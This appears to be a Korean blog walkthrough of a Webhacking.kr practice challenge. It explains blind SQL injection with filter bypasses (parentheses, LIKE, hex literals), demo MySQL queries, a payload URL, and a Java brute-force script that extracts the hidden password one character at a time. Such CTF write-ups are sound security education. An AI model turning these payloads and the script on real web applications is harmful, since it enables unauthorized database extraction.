문제에 들어가게 되면, 패스워드 창이 있고 1, 2, 3 버튼 세 개가 있다.
버튼 1, 2, 3을 누르면 페이지의 no 파라미터 값이 바뀌면서 다른 창으로 이동하게 되는데,
각각 Apple, Banana, Secret으로 이동하게 된다. Apple Banana는 별로 중요해보이진 않고 Secret 창을 들여다보면
생각을 좀 해보면 no 1일때 id 값은 Apple, no 2일때 id 값은 Banana, no 3일때 id 값은 비밀이라며 안보여주는데, 이 id가 패스워드라고 알려준다. 이 아이디를 찾아내면 될 것 같다.
sql 인젝션 시도를 위해 웹 페이지에 no부분에 이것저것 넣다 보면 아래와 같은 사실들을 알게 된다.
1. 데이터베이스에 no값으로는 1~3까지만 있는 것 같고, 나머지 숫자를 입력할 시 아무것도 보여주지 않음. false인 경우에는 아무것도 보여주지 않는 것 같다 -> Blind Sql Injection 시도에 좋은 상황
2. SELECT, UNION, FROM, ', or, and, = .... 등 많은 명령어들과 문자들이 필터링되어있다.
1, 2번의 결과를 통해서 우리가 할 수 있는 생각은 Blind Sql Injection 시도이고, 필터링 되지 않는 것들을 찾아서 우회하듯이 해줘야 하겠다.
공백 필터링 대신에 () 괄호를 사용, = 필터링 대신에 LIKE 명령어를 사용해 우회하고자 했다.
여기서 LIKE에 대해 간단히 말하자면, =와 비슷한 기능을 해준다. 아래 예시를 몇 개 보여주겠다.
mysql> SELECT * FROM BOOK;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
+----+-------------+---------------+----------+
5 rows in set (0.00 sec)
mysql> SELECT * FROM BOOK WHERE id LIKE 3;
+----+-----------+-------------+----------+
| id | title | description | maker_id |
+----+-----------+-------------+----------+
| 3 | Math Book | Math.PI... | 2 |
+----+-----------+-------------+----------+
1 row in set (0.00 sec)
mysql> SELECT * FROM BOOK WHERE title LIKE 'Math Book';
+----+-----------+-------------+----------+
| id | title | description | maker_id |
+----+-----------+-------------+----------+
| 3 | Math Book | Math.PI... | 2 |
+----+-----------+-------------+----------+
1 row in set (0.00 sec)
mysql> SELECT * FROM BOOK WHERE title LIKE '%BOOK';
+----+------------+---------------+----------+
| id | title | description | maker_id |
+----+------------+---------------+----------+
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
+----+------------+---------------+----------+
2 rows in set (0.00 sec)
아예 일치하는 것을 찾을 수도 있고 '_' 와 '%' 와일드 문자를 사용하면서 검색해줄 수도 있다.
위의 '%BOOK'은 BOOK으로 끝나는 문자열을 찾는 방식이다.
'_' : 한자리 대응. '%' : 여러자리 대응
그리고 또한 비밀번호 데이터가 몇 자리인지 확인하기 위해서 Length(문자열) 함수를 살펴볼건데, 일반적으로 괄호 안에 들어간 문자열의 길이를 리턴하며, 괄호 안에 컬럼명을 넣어주게 되면 해당 컬럼의 모든 데이터의 길이를 계산하여 도출한다. (SQL문에서 id 같은 '컬럼명' 들이 모든 데이터를 대상. 포괄한다는 느낌과 같은느낌. SELECT id -> id 모든 데이터, WHERE id = 'x'-> id 모든 데이터 중에 x, id 는 id의 모든 데이터를 포괄하는 느낌이라면 length(id)는 id 컬럼의 모든 데이터들의 길이값을 포괄하는 느낌) 바로 사용예시를 보여겠다.
mysql> SELECT * FROM BOOK;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
+----+-------------+---------------+----------+
5 rows in set (0.00 sec)
mysql> SELECT length(title) FROM BOOK;
+---------------+
| length(title) |
+---------------+
| 11 |
| 10 |
| 9 |
| 10 |
| 10 |
+---------------+
5 rows in set (0.00 sec)
그리고 이런 출력 원리는
mysql> SELECT id FROM BOOK;
+----+
| id |
+----+
| 1 |
| 2 |
| 3 |
| 4 |
| 5 |
+----+
5 rows in set (0.00 sec)
그냥 이것과 동일한 원리라고 생각하면 된다. id를 넣어주면 id 컬럼에 대한 각 데이터를 출력해 주듯이, length(id)를 넣어주면 id의 각 데이터의 length 값을 계산하여 출력해 주는 것이다.
참고로 SELECT 다음에 무언가를 입력하면 그에 대해 출력해준다. (컬럼 명을 넣는 것도 그런 느낌) 별다른 조건(출력제한) 없이 SELECT id FROM BOOK;을 했을 때 BOOK 테이블 안의 id 컬럼의 모든 데이터를 출력해주듯이, 이렇게 length 함수 안에 컬럼명을 넣어주게 되면 해당 컬럼의 전체 데이터의 길이를 조사하여 도출해주는 것이다.
그리고 마지막으로 SQL 문에서 if 문을 쓸 건데, 내가 쓰는 if문은 아래와 같이 동작한다.
if(A, B, C)
A = 조건, 참일경우 B, 거짓일경우 C
A가 참일때 B, A가 거짓일때 C이므로, 따지고 보면 이렇다.
참인 경우 : A를 만족하는 B
거짓인 경우 : A를 만족하지 않는 C
이 결과를 이용하여 많은 응용이 가능하다.
따라서 이를 토대로 내가 구성한 방법은 아래와 같다. (먼저 no 3의 id의 길이를 구하는 과정)
https://webhacking.kr/challenge/web-09/index.php?no=if(length(id)LIKE(11),(3),(99))
천천히 설명해주겠다. 우선 주목해야 할 부분은 if문 부분부터다.
사이트의 쿼리를 예상해보면 SELECT id FROM 데이터베이스명 WHERE no = x 일텐데, 여기 x부분을 if부분부터 넣어준 느낌이다.
-> SELECT id FROM 데이터베이스명 WHERE no = if(length(id)Like(11),(3),(99))
우선 WHERE와 if 가 이렇게 중첩으로 위치하게 되면, if문이 두개 있다고 생각하면 된다. WHERE도 조건절이고, if도 조건절이므로 즉 중첩 if문인 상태이고 두개의 조건을 모두 만족한 값이 출력될 것이다. (※ 즉 &&인 AND 연산인 것이다)
우선 그 동작에 대해서 실습을 통해 차근차근 설명해주겠다.
mysql> SELECT * FROM BOOK;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
+----+-------------+---------------+----------+
5 rows in set (0.00 sec)
mysql> SELECT length(title) FROM BOOK;
+---------------+
| length(title) |
+---------------+
| 11 |
| 10 |
| 9 |
| 10 |
| 10 |
+---------------+
5 rows in set (0.00 sec)
mysql> SELECT length(title)LIKE 10 FROM BOOK;
+----------------------+
| length(title)LIKE 10 |
+----------------------+
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
+----------------------+
5 rows in set (0.00 sec)
mysql> SELECT * FROM BOOK WHERE length(title)LIKE 10;
+----+------------+---------------+----------+
| id | title | description | maker_id |
+----+------------+---------------+----------+
| 2 | About Life | Life is alone | 1 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
+----+------------+---------------+----------+
3 rows in set (0.00 sec)
위 코드는 length와 like의 동작에 대해 이해를 돕기 위해 참조했다. 대충 이해가 되는가??
SELECT length(title)LIKE 10 FROM BOOK; 을 통해 title 컬럼 중에 길이가 10인 데이터들을 찾아봤다. 여기서 0은 거짓을 의미하고 1은 참을 의미한다. 그리고 만약 이걸 SELECT * FROM BOOK WHERE length(title) LIKE 10; 을 통해 출력을 하게 되면, 위의 계산한 데이터를 토대로 1인 값(=true) 들만 필터링해 출력하게 되는 것이다.
-> WHERE id = length(title)LIKE 10 하면, 길이가 10인 타이틀만 조사하는게 아니라, 전체 중에 검사하면서 타이틀 길이가 10인 것은 true로 처리되어 출력되는 거고 나머지는 false로 처리되기 때문에 출력되지 않는 것이다.
p.s 잡 지식 : SELECT 이후에 id같은 컬럼명들이나 count(컬럼명이나) 출력하고자 하는 것들을 넣어주면, WHERE 같은 출력제한을 주지 않을 경우 검색하는 테이블 안에서 해당 컬럼에 대한 모든 데이터가 출력되는 건 당연하다. 출력 제한이 없기 때문이다. 따라서 주어진 것을 토대로 조사한 뒤 해당 컬럼에 대한 모든 데이터를 값으로 보여주는것이고, WHERE문 같은 컨디션 조건을 통해 출력 데이터(행)에 제한을 주게 되면 이 중 조건이 참인 데이터(행)들만 필터링 되어 출력이 되겠죠.
그래서 이걸 if문과 응용해보면
mysql> SELECT * FROM BOOK;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
+----+-------------+---------------+----------+
5 rows in set (0.00 sec)
mysql> SELECT length(title) FROM BOOK;
+---------------+
| length(title) |
+---------------+
| 11 |
| 10 |
| 9 |
| 10 |
| 10 |
+---------------+
5 rows in set (0.01 sec)
mysql> SELECT if(length(title)LIKE 10, 4, 5) FROM BOOK;
+--------------------------------+
| if(length(title)LIKE 10, 4, 5) |
+--------------------------------+
| 5 |
| 4 |
| 5 |
| 4 |
| 4 |
+--------------------------------+
5 rows in set (0.00 sec)
length는 컬럼의 모든 데이터를 대상으로 조사하면서, title 길이가 10인 데이터는 4로 처리, 길이가 10이 아닌 데이터는 5로 처리하게 된다.
그리고 이걸 이제 WHERE문과 합쳐봤을 때 어떻게 작동하는지 보자.
mysql> SELECT if(length(title)LIKE 10, 4, 5) FROM BOOK;
+--------------------------------+
| if(length(title)LIKE 10, 4, 5) |
+--------------------------------+
| 5 |
| 4 |
| 5 |
| 4 |
| 4 |
+--------------------------------+
5 rows in set (0.00 sec)
//여기까지가 바로 위 코드
mysql> SELECT * FROM BOOK WHERE id = if(length(title)LIKE 10, 4, 5);
+----+------------+---------------+----------+
| id | title | description | maker_id |
+----+------------+---------------+----------+
| 4 | Novel Book | I am handsome | 3 |
+----+------------+---------------+----------+
1 row in set (0.00 sec)
마찬가지로 length 를 통해 모든 데이터를 검사(= 그냥 간단하게 생각하면 WHERE id = 'x'라고 입력하면 id의 모든 값을 검사하여 그 중에 x를 찾는 것과 WHERE length(id) LIKE x를 입력하면 전체 데이터 중 id 값의 길이가 x인 데이터를 찾는 것과 동일한 것이다. 깊게 생각할 필요 없다.)하여 참일땐 4, 거짓일땐 5로 처리되게끔 하는데, 여기까지가 if문이고, if문을 나오면서 id에 대한 조건을 한번 더 치루는 것이다. 즉 다시말하면 모든 대상으로 검색을 하게 되는데, length가 10이면서(=4리턴) id가 4인것 = 있음. length가 length가 10이 아니면서(=5리턴) id가 5인것 = 없음 으로 '처리되어서 length가 10 이면서 id가 4인 값'만 출력되는 것이다.
-> 추가설명
위에서 SELECT length(title)LIKE 10 FROM BOOK; 을 통해 1 과 0으로 된 출력 값을 봤듯이,
SELECT * FROM BOOK WHERE length(title)LIKE 10; 를 하면, 전체 length(title) 데이터 중 길이가 10인 것들은 1(true) 처리 되고 아닌 것들은 0(false) 처리되면서 이에 따라 출력제한이 되는 것인데
SELECT * FROM BOOK WHERE if(length(title)LIKE 10, 1, 2); 를 해주면, 길이가 10인 것들은 1처리가 되고 아닌 것들은 2 처리가 되는 것. (이 경우엔 1, 2 둘다 true에 해당이므로 모두가 출력된다)
마지막으로 다른 예시를 하나 더 들어보겠다.
mysql> SELECT length(title) FROM BOOK;
+---------------+
| length(title) |
+---------------+
| 11 |
| 10 |
| 9 |
| 10 |
| 10 |
+---------------+
5 rows in set (0.00 sec)
mysql> SELECT if(length(title)LIKE 10, 4, 3) FROM BOOK;
+--------------------------------+
| if(length(title)LIKE 10, 4, 3) |
+--------------------------------+
| 3 |
| 4 |
| 3 |
| 4 |
| 4 |
+--------------------------------+
5 rows in set (0.00 sec)
mysql> SELECT * FROM BOOK WHERE id = if(length(title)LIKE 10, 4, 3);
+----+------------+---------------+----------+
| id | title | description | maker_id |
+----+------------+---------------+----------+
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
+----+------------+---------------+----------+
2 rows in set (0.00 sec)
이번엔 if문의 두 세번째 값을 4, 3으로 바꿔보았다. 그러면 역시 length는 id 컬럼 중 길이가 10인 것들의 검사를 진행하고 3과 4로 값을 형성한다. 그리고 마찬가지로 length가 10이면서(=4리턴) id가 4인것 = 있음. length가 10이 아니면서(=3리턴) id가 3인것 = 있음. 이 되어서 id 값이 3, 4인 두 데이터가 출력되게 된다.
다시말하면 1. 조건 A를 만족하면서 id가 B인값을 찾고, 또한 2. 조건 A를 만족하지 않으면서 id가 C인값도 찾게 되는것이라고 생각하면 된다. ( WHERE id = if(A, B, C) )
ex) where id = if(title='About Music', 1, 0)
1. title='About Music' && id=1
2. title!='About Music' && id=0
이래서 목적에 따라 조건부와 B C 부분 선언 선택이 중요하다. 예제의 경우 1번을 만족하는 조건이 있기 때문에 출력이 되지만, B를 4로 설정했다면 출력이 되지 않았을 것이다. 내부적으로 실행을 따져보면 title이 'About Music' 인 데이터는 1로, 아닌 데이터는 0으로 나뉜 다음 if문을 벗어나서 where에서 한번 더 조건을 갖는 식이다.
이제 다시 문제 본론으로 돌아와서 내가 no 3의 id 의 길이를 구하기 위해 아래 페이로드를 보냈다고 했다.
https://webhacking.kr/challenge/web-09/index.php?no=if(length(id)LIKE(11),(3),(99))
뒤에 99를 넣어준 이유는, 나는 no 3을 만족하면서 id값의 길이에 대한 인젝션을 진행할건데, 거짓(no가 3이 아닌 경우)에 대해서까지 어쩌다가 쓸데없이 조건에 맞아 출력되게 하지 않기 위해서 아예 테이블에 존재하지 않는 no값인 99를 입력해줌으로써 아까 말했던 2의 전제를 아예 없애버린 것이다. 따라서 저렇게 하게 되면 무조건 no가 3인 행에 대해서만 조사할 수가 있다. 즉 공격 과정에서 3을 무조건 전제로 만족시킨다고 생각해도 된다. if의 조건 && no = 3인 결과를 얻어내면서 우리는 조건부분에 공격을 하는 것. 이를 만족하게 되면 참으로 인식되어 정상적으로 no = 3인 창, 즉 Secret 이 포함된 창을 그대로 띄울 것이다. 이 Secret창이 떠지나 아니면 거짓이면 아무 값도 안띄워지나를 통한 참 거짓 판별 가능의 성격을 이용해서 Blind Sql Injection 공격을 하는 것이다.
JAVA로 구현했다.
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class Main {
public static void main(String args[]) {
try {
for(int i = 1; i < 12 ; i++) { // id는 11자리
for(int j = 48 ; j < 123 ; j++) // 십진수 48 = 아스키 '0', 십진수 122 = 아스키 'z ' // %가 들어가게 되면 LIKE의 와일드문자로 인식하므로 안됌.
{
StringBuilder sb = new StringBuilder();
//Integer.toHexString = 10진수의 16진수 변환.
String str = "index.php?no=if(substr((id),("+i+"),(1))LIKE(0x"+Integer.toHexString(j)+"),(3),(99))";
URL url = new URL("https://webhacking.kr/challenge/web-09/"+str);
HttpURLConnection hc = (HttpURLConnection) url.openConnection();
hc.setRequestProperty("Cookie", "PHPSESSID=본인의세션아이디");
BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
String s;
while ((s=br.readLine())!=null)
sb.append(s);
if(sb.indexOf("Secret")!=-1) {
System.out.print(String.format("%c", j));
break;
}
}
}
} catch (Exception e) {
}
}
}
처음에 비밀번호에 특수값도 고려하여 j값을 33 (아스키=!)부터 시작했다가 , %를 만나면 LIKE %가 실행되어 참으로 판별되는 바람에 비밀번호가 %%%%%%%%%%% 로 나와서 당황했다 ㅋㅋㅋ.. 그래서 0부터 시작되게끔 코드를 조정해줬다.
그러면 1초도 지나지 않아 ALSRKSWHAQL 라는 비밀번호가 도출된다. 이 대문자 그대로 넣어줬더니 정답이 아니길래 소문자로 바꿔줬다.
아무래도 헥스값(16진수)로 넘겨줬기 때문에, 변환 과정에서 대소문자를 구분하지 않았나 보다.
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 11번 문제풀이 (0) | 2020.09.14 |
---|---|
[Webhacking.kr] 10번 문제풀이 (0) | 2020.09.14 |
[Webhacking.kr] 8번 문제풀이 (0) | 2020.09.10 |
Webhacking.kr 7번 문제풀이 (0) | 2020.09.09 |
Webhacking.kr 6번 문제풀이 (0) | 2020.09.08 |